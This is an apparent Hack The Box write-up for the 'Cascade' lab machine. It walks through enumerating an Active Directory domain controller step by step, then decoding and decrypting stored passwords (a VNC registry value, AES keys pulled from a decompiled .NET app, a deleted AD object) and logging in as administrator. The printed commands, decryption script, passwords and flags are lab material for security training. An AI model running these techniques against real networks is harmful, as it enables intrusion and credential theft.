Cascade (HTB) - Writeup

Introduction

Through `LDAP` anonymous binds, we enumerate domain accounts and uncover the password for `r.thompson`. This foothold leads to a `TightVNC` registry backup, which is decrypted to reveal the credentials for `s.smith`. With s.smith's access, we find and reverse-engineer a .NET application, extracting the password for `ArkSvc`. As a member of the AD Recycle Bin group, `ArkSvc` is able to view deleted Active Directory objects—one of which contains a reusable, hardcoded password for the domain administrator.

Date of pwn: 2025.July.9
pwned by: Ziliel
Machine Author: VbScrub
Difficulty: Medium

Enumeration

Nmap

We start with scanning the Target for open ports and running services.

```
sudo nmap -p- -Pn -T4 --min-rate=1000 -sC -sV 10.129.170.31 > nmap-full-scan.txt
```

```
┌──(ziliel㉿ziliel)-[/media/…/Writeups/OWN/Cascade/scans]
└─$ cat nmap-full-scan.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-06 23:23 CEST
Nmap scan report for 10.129.170.31
Host is up (0.041s latency).
Not shown: 65520 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-07-06 21:25:49Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-
Site-Name)
445/tcp   open  microsoft-ds?
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-
Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49154/tcp open  msrpc         Microsoft Windows RPC
49155/tcp open  msrpc         Microsoft Windows RPC
49157/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49158/tcp open  msrpc         Microsoft Windows RPC
49165/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: CASC-DC1; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:wind
ows

Host script results:
| smb2-time:
|   date: 2025-07-06T21:26:42
|_  start_date: 2025-07-06T21:21:35
| smb2-security-mode:
|   2:1:0:
|_    Message signing enabled and required
|_clock-skew: 2s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 207.65 seconds
```

we see that the ldap domain is cascade.local.

---

enum4linux

We continue with further enumeration and scan the target with the `enum4linux` tool.

```
enum4linux -a 10.129.170.31 > enum4linux.txt
```

```
=====================================( Users on 10.129.170.31 )=====================================

index: 0xee0 RID: 0x464 acb: 0x00000214 Account: a.turnbull     Name: Adrian Turnbull   Desc: (null)
index: 0xebc RID: 0x452 acb: 0x00000210 Account: arksvc Name: ArkSvc    Desc: (null)
index: 0xee4 RID: 0x468 acb: 0x00000211 Account: b.hanson       Name: Ben Hanson        Desc: (null)
index: 0xee7 RID: 0x46a acb: 0x00000210 Account: BackupSvc      Name: BackupSvc Desc: (null)
index: 0xdeb RID: 0x1f5 acb: 0x00000215 Account: CascGuest      Name: (null)    Desc: Built-in account for guest a
ccess to the computer/domain
index: 0xee5 RID: 0x469 acb: 0x00000210 Account: d.burman       Name: David Burman      Desc: (null)
index: 0xee3 RID: 0x467 acb: 0x00000211 Account: e.crowe        Name: Edward Crowe      Desc: (null)
index: 0xeec RID: 0x46f acb: 0x00000211 Account: i.croft        Name: Ian Croft Desc: (null)
index: 0xeeb RID: 0x46e acb: 0x00000210 Account: j.allen        Name: Joseph Allen      Desc: (null)
index: 0xede RID: 0x462 acb: 0x00000210 Account: j.goodhand     Name: John Goodhand     Desc: (null)
index: 0xed7 RID: 0x45c acb: 0x00000210 Account: j.wakefield    Name: James Wakefield   Desc: (null)
index: 0xeca RID: 0x455 acb: 0x00000210 Account: r.thompson     Name: Ryan Thompson     Desc: (null)
index: 0xedd RID: 0x461 acb: 0x00000210 Account: s.hickson      Name: Stephanie Hickson Desc: (null)
index: 0xebd RID: 0x453 acb: 0x00000210 Account: s.smith        Name: Steve Smith       Desc: (null)
index: 0xed2 RID: 0x457 acb: 0x00000210 Account: util   Name: Util      Desc: (null)
```

We did find all Users on the AD!

```
[+] Password Info for Domain: CASCADE

        [+] Minimum password length: 5
        [+] Password history length: None
        [+] Maximum password age: Not Set
        [+] Password Complexity Flags: 000000

                [+] Domain Refuse Password Change: 0
                [+] Domain Password Store Cleartext: 0
                [+] Domain Password Lockout Admins: 0
                [+] Domain Password No Clear Change: 0
                [+] Domain Password No Anon Change: 0
                [+] Domain Password Complex: 0

        [+] Minimum password age: None
        [+] Reset Account Lockout Counter: 30 minutes
        [+] Locked Account Duration: 30 minutes
        [+] Account Lockout Threshold: None
        [+] Forced Log off Time: Not Set
```

We see that Account Lockout Threshold is set to None which means we don't get Blocked if we Bruteforce Credentials.

```
[+]  Getting local group memberships:

Group: Denied RODC Password Replication Group' (RID: 572) has member: CASCADE\krbtgt
Group: Denied RODC Password Replication Group' (RID: 572) has member: CASCADE\Domain Controllers
Group: Denied RODC Password Replication Group' (RID: 572) has member: CASCADE\Schema Admins
Group: Denied RODC Password Replication Group' (RID: 572) has member: CASCADE\Enterprise Admins
Group: Denied RODC Password Replication Group' (RID: 572) has member: CASCADE\Cert Publishers
Group: Denied RODC Password Replication Group' (RID: 572) has member: CASCADE\Domain Admins
Group: Denied RODC Password Replication Group' (RID: 572) has member: CASCADE\Group Policy Creator Owners
Group: Denied RODC Password Replication Group' (RID: 572) has member: CASCADE\Read-only Domain Controllers
Group: IT' (RID: 1113) has member: CASCADE\arksvc
Group: IT' (RID: 1113) has member: CASCADE\s.smith
Group: IT' (RID: 1113) has member: CASCADE\r.thompson
Group: AD Recycle Bin' (RID: 1119) has member: CASCADE\arksvc
Group: HR' (RID: 1115) has member: CASCADE\s.hickson
Group: Data Share' (RID: 1138) has member: CASCADE\Domain Users
Group: Audit Share' (RID: 1137) has member: CASCADE\s.smith
Group: Remote Management Users' (RID: 1126) has member: CASCADE\arksvc
Group: Remote Management Users' (RID: 1126) has member: CASCADE\s.smith
```

We also see the local Group memberships which can be helpful later during Privilege Escalation.

windapsearch

Next we enumerate `ldap` with `windapsearch`.

```
python3 ./windapsearch.py -U --full --dc-ip 10.129.170.31 > windapsearch-scan.txt
```

```
cascadeLegacyPwd: clk0bjVldmE=
```

One User Attribute `cascadeLegacyPwd` of the user Ryan Thompson is suspicious.

It looks like a `Base64` encoded string. So lets Decode it from `Base64`.

```
echo clk0bjVldmE= | base64 -d
```

```
┌──(ziliel㉿ziliel)-[/media/…/Writeups/OWN/Cascade/scans]
└─$ echo clk0bjVldmE= | base64 -d
rY4n5eva
```

Evil-WinRM

Lets try to log in to `r.thompson` with the found password through `Evil-WinRM`.

```
evil-winrm -i 10.129.170.31 -u r.thompson -p rY4n5eva
```

```
┌──(ziliel㉿ziliel)-[/media/…/Writeups/OWN/Cascade/scans]
└─$ evil-winrm -i 10.129.170.31 -u r.thompson -p rY4n5eva

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: undefined meth
od `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers
/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::
WinRMAuthorizationError

Error: Exiting with code 1
```

It exits with code 1. Looks like we don't have `PowerShell Remoting` permissions.

SmbMap

Lets try to map the SMB service running on our target with the credentials of Ryan

```
smbmap -H 10.129.170.31 -u r.thompson -p rY4n5eva
```



We have permissions to list the shares and read some of them as well.

SmbClient

Lets read into the `Data` share

```
smbclient -U r.thompson -p rY4n5eva //10.129.170.31/Data
```



After some searching we find an interesting html file.

Lets download it and peak into it.



In the file we can find some words about a `TempAdmin` user that has the same password as the normal Admin.

Initial Access

After some looking around we find a new file related to the user `s.smith`.

```
smb: \IT\Temp\s.smith\> ls
  .                                   D        0  Tue Jan 28 21:00:01 2020
  ..                                  D        0  Tue Jan 28 21:00:01 2020
  VNC Install.reg                     A     2680  Tue Jan 28 20:27:44 2020
```

Lets open, download and read the file.

```
"Password"=hex:6b,cf,2a,4b,6e,5a,ca,0f
```

We can assume that our finding is the password for the user `s.smith` in Hexadecimal.

To decrypt the password just do the following.

```
msfconsole
msf5 > irb
key="\x17\x52\x6b\x06\x23\x4e\x58\x07"
require 'rex/proto/rfb'
Rex::Proto::RFB::Cipher.decrypt ["6BCF2A4B6E5ACA0F"].pack('H*'), key
```

here you can check out how this works!
The decrypted password is `sT333ve2`.

Evil-WinRM

Lets log in with our credentials.

```
┌──(ziliel㉿ziliel)-[/media/…/Writeups/OWN/Cascade/scans]
└─$ evil-winrm -i 10.129.166.220 -u s.smith -p sT333ve2

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: undefined meth
od `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers
/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\s.smith\Documents>
```

We find the user flag at:

```
*Evil-WinRM* PS C:\Users\s.smith\Desktop> cat user.txt
84ae6bae44343eb5b7256d4d66d3ce09
```

Lateral Movement

Get-ADUser

Lets use the `Get-ADUser` cmdlet to see all attributes of the user s.smith.

```
Get-ADUser -Identity <username> -Properties *
```

```
MemberOf                        : {CN=Audit Share,OU=Groups,OU=UK,DC=cascade,DC=local, CN=Remote Manageme
nt Users,OU=Groups,OU=UK,DC=cascade,DC=local, CN=IT,OU=Groups,OU=UK,DC=cascade,DC=local}
```

```
ScriptPath                      : MapAuditDrive.vbs
```

We can see that `s.smith` is a member of the `Audit Share Group` and has a Log in script assigned to them.

SmbClient

We can find the login script in the `SMB` share `NETLOGON` for each user.

```
smbclient -U s.smith //10.129.185.77/NETLOGON
```

```
┌──(ziliel㉿ziliel)-[/media/…/Writeups/OWN/Cascade/scans]
└─$ smbclient -U s.smith //10.129.185.77/NETLOGON
Password for [WORKGROUP\s.smith]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed Jan 15 22:50:33 2020
  ..                                  D        0  Wed Jan 15 22:50:33 2020
  MapAuditDrive.vbs                   A      258  Wed Jan 15 22:50:15 2020
  MapDataDrive.vbs                    A      255  Wed Jan 15 22:51:03 2020

                6553343 blocks of size 4096. 1626507 blocks available
```

Lets Download both scripts and look what they do.

1.) MapDataDrive.vbs:

```
Option Explicit
Dim oNetwork, strDriveLetter, strRemotePath
```

```
strDriveLetter = "O:"
strRemotePath = "\\CASC-DC1\Data"
Set oNetwork = CreateObject("WScript.Network")
oNetwork.MapNetworkDrive strDriveLetter, strRemotePath
WScript.Quit
```

This script mounts the Dat drive which we previously accessed.

2.) MapAuditDrive.vbs:

```
Option Explicit
Dim oNetwork, strDriveLetter, strRemotePath
strDriveLetter = "F:"
strRemotePath = "\\CASC-DC1\Audit$"
Set oNetwork = CreateObject("WScript.Network")
oNetwork.MapNetworkDrive strDriveLetter, strRemotePath
WScript.Quit
```

This script mount the Audit$ Drive which we didn't check out until now.

Lets inspect the `Audit` Drive from close as the user `s.smith`.

```
smbclient //10.129.185.77/Audit$ -U s.smith
```

```
┌──(ziliel㉿ziliel)-[/media/…/Writeups/OWN/Cascade/scans]
└─$ smbclient //10.129.185.77/Audit$ -U s.smith
Password for [WORKGROUP\s.smith]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed Jan 29 19:01:26 2020
  ..                                  D        0  Wed Jan 29 19:01:26 2020
  CascAudit.exe                      An    13312  Tue Jan 28 22:46:51 2020
  CascCrypto.dll                     An    12288  Wed Jan 29 19:00:20 2020
  DB                                  D        0  Tue Jan 28 22:40:59 2020
  RunAudit.bat                        A       45  Wed Jan 29 00:29:47 2020
  System.Data.SQLite.dll              A   363520  Sun Oct 27 07:38:36 2019
  System.Data.SQLite.EF6.dll          A   186880  Sun Oct 27 07:38:38 2019
  x64                                 D        0  Sun Jan 26 23:25:27 2020
  x86                                 D        0  Sun Jan 26 23:25:27 2020

                6553343 blocks of size 4096. 1626500 blocks available
```

We can see a bat file which usually show how programs are launched and with what parameters.

Lets Download and examine the `RunAudit.bat` file.

```
get RunAudit.bat
```

```
┌──(ziliel㉿ziliel)-[/media/…/Writeups/OWN/Cascade/scans]
└─$ cat RunAudit.bat
CascAudit.exe "\\CASC-DC1\Audit$\DB\Audit.db"
```

As we see the batch file starts the `CascAudit.exe` file and gives it a path to Audit.db.

Now we want to check out what is in that `Audit.db` so we Download it too and examine it. We use the `file` command to check the file type.

```
┌──(ziliel㉿ziliel)-[/media/…/Writeups/OWN/Cascade/scans]
└─$ file Audit.db
Audit.db: SQLite 3.x database, last written using SQLite version 3027002, file counter 60, database pages 6
, 1st free page 6, free pages 1, cookie 0x4b, schema 4, UTF-8, version-valid-for 60
```

Its a `SQLite` database.

SQLite

Lets check out whats in the db.

```
sqlitebrowser Audit.bat
```



The table `Ldap` contains a password for the user `ArkSvc`. After we try decoding it we see it got encrypted so we continue with something else.

CascAudit.exe

Due to the fact that the Audit database is used by the `CascAudit.exe` programm lets take and attempt and decompile the `exe` and see if we might find how the password is encrypted.

```
┌──(ziliel㉿ziliel)-[/media/…/OWN/Cascade/scans/smb-findings]
└─$ file CascAudit.exe
CascAudit.exe: PE32 executable for MS Windows 4.00 (console), Intel i386 Mono/.Net assembly, 3 sections
```

We can see that the file is a `.NET` executable. We can use `dnSpy` to open it. It can be run on `linux` with `wine`.

---

dnSpy

You can download the latest version here.

```
sudo apt install wine64 -y
cd ~/Downloads
unzip dnSpy-netcore-win64.zip
cd dnSpy-netcore-win64
wine dnSpy.exe
```

Click on `File` , then Open and locate `CascAudit.exe` to decompile it. Locate the `main` function by clicking on `CascAudit (1.0.0.0)` , then `CascAudit` and selecting `MainModule`.

Main Function:

```
string text = string.Empty;
string password = string.Empty;
string text2 = string.Empty;
try
{
sqliteConnection.Open();
using (SQLiteCommand sqliteCommand = new SQLiteCommand("SELECT * FROM
LDAP",
sqliteConnection))
{
using (SQLiteDataReader sqliteDataReader = sqliteCommand.ExecuteReader())
{
sqliteDataReader.Read();
text = Conversions.ToString(sqliteDataReader["Uname"]);
text2 = Conversions.ToString(sqliteDataReader["Domain"]);
string text3 = Conversions.ToString(sqliteDataReader["Pwd"]);
try
{
password = Crypto.DecryptString(text3, "c4scadek3y654321");
}
catch (Exception ex)
{
Console.WriteLine("Error decrypting password: " + ex.Message);
return;
}
}
}
```

```
sqliteConnection.Close();
}
```

The Program opens the `SQLite` database, reads the password and finally decrypts it with the `Crypto.DecryptString` function using the key `c4scadek3y654321`. Unfortunately the function is not found in the executable so it might be in a `DLL` file.

Lets Download the `CascCrypo.dll` file from the share and open it with `dnSpy`.

```
public static string DecryptString(string EncryptedString, string Key)
{
byte[] array = Convert.FromBase64String(EncryptedString);
Aes aes = Aes.Create();
aes.KeySize = 128;
aes.BlockSize = 128;
aes.IV = Encoding.UTF8.GetBytes("1tdyjCbY1Ix49842");
aes.Mode = 1;
aes.Key = Encoding.UTF8.GetBytes(Key);
string @string;
using (MemoryStream memoryStream = new MemoryStream(array))
{
using (CryptoStream cryptoStream = new
CryptoStream(memoryStream, aes.CreateDecryptor(), 0))
{
byte[] array2 = new byte[checked(array.Length - 1 + 1)];
cryptoStream.Read(array2, 0, array2.Length);
@string = Encoding.UTF8.GetString(array2);
}
}
return @string;
}
```

The Program uses a `128-bit AES` algorithm do decrypt the password.
The encryption mode is set to `1` and the IV to `1tdyjCbY1Ix49842`.
The `.NET` documentation states that mode `1` is `CBC`.

---

pyaes

Lets use the `pyaes` module to decrypt the password with a self written python script.

```
import pyaes
from base64 import b64decode
key = b"c4scadek3y654321"
iv = b"1tdyjCbY1Ix49842"
aes = pyaes.AESModeOfOperationCBC(key, iv = iv)
decrypted = aes.decrypt(b64decode('BQO5l5Kj9MdErXx6Q6AGOw=='))
print(decrypted.decode())
```

```
python3 decrypt.py
w3lc0meFr31nd
```

Now with the new credentials we found we can Log in to the user `ArkSvc` with the password `w3lc0meFr31nd`.

```
┌──(ziliel㉿ziliel)-[/media/…/Writeups/OWN/Cascade/scans]
└─$ evil-winrm -i 10.129.185.77 -u ArkSvc -p w3lc0meFr31nd

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_pro
c' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-c
ompletion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\arksvc\Documents> ls
```

Privilege Escalation

Manuel Enumeration

We want to know in what groups our current user has a membership in.

```
*Evil-WinRM* PS C:\Users\arksvc\Documents> whoami /all

USER INFORMATION
----------------

User Name      SID
============== =============================================
cascade\arksvc S-1-5-21-3332504370-1206983947-1165150453-1106


GROUP INFORMATION
-----------------

Group Name                                 Type             SID                                            Attributes
========================================== ================ ============================================== ===============================================================
Everyone                                   Well-known group S-1-1-0                                        Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                              Alias            S-1-5-32-545                                   Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias            S-1-5-32-554                                   Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                       Well-known group S-1-5-2                                        Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11                                       Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization             Well-known group S-1-5-15                                       Mandatory group, Enabled by default, Enabled group
CASCADE\Data Share                         Alias            S-1-5-21-3332504370-1206983947-1165150453-1138 Mandatory group, Enabled by default, Enabled group, Local Group
CASCADE\IT                                 Alias            S-1-5-21-3332504370-1206983947-1165150453-1113 Mandatory group, Enabled by default, Enabled group, Local Group
CASCADE\AD Recycle Bin                     Alias            S-1-5-21-3332504370-1206983947-1165150453-1119 Mandatory group, Enabled by default, Enabled group, Local Group
CASCADE\Remote Management Users            Alias            S-1-5-21-3332504370-1206983947-1165150453-1126 Mandatory group, Enabled by default, Enabled group, Local Group
NT AUTHORITY\NTLM Authentication           Well-known group S-1-5-64-10                                    Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label           S-1-16-8448


PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
```

The user is a member of the `AD Recycle Bin` Group. The `AD Recycle Bin` is used to recover Deleted AD Objects like Users, Groups etc. with no loss.

Get-ADObject

We continue with enumerating the `AD Recycle Bin` for user accounts only.

```
Get-ADObject -ldapfilter "(&(objectclass=user)(isDeleted=TRUE))" -
IncludeDeletedObjects
```

```
Deleted           : True
DistinguishedName : CN=TempAdmin\0ADEL:f0cc344d-31e0-4866-bceb-a842791ca059,CN=Deleted Objects,DC=cascade,DC=
local
Name              : TempAdmin
                    DEL:f0cc344d-31e0-4866-bceb-a842791ca059
ObjectClass       : user
ObjectGUID        : f0cc344d-31e0-4866-bceb-a842791ca059
```

We find the TempAdmin user which we heard of in the email we found. We know the TempAdmin has the same password as the real Admin user.

Lets enumerate further the `TempAdmin` user by applying the `DisplayName` filter.

```
Get-ADObject -ldapfilter "(&(objectclass=user)(DisplayName=TempAdmin)
(isDeleted=TRUE))" -IncludeDeletedObjects -Properties *
```

```
cascadeLegacyPwd                : YmFDVDNyMWFOMDBkbGVz
```

We found that the `TempAdmin` user has a similar property as the user `r.thompson` which contains a `Base64` encoded string at first glance.

We decode the string,

```
┌──(ziliel㉿ziliel)-[/media/…/Writeups/OWN/Cascade/scans]
└─$ echo YmFDVDNyMWFOMDBkbGVz | base64 -d
baCT3r1aN00dles
```

and find the Password for the `TempAdmin` user so we can log in to the `Admin` user.

Lets Log in as `Admin` through `Evil-WinRM`.

```
*Evil-WinRM* PS C:\Users\Administrator\Desktop> cat root.txt
367b0d254b9c10ca31a1049e34987a5b
```

`root.txt` found!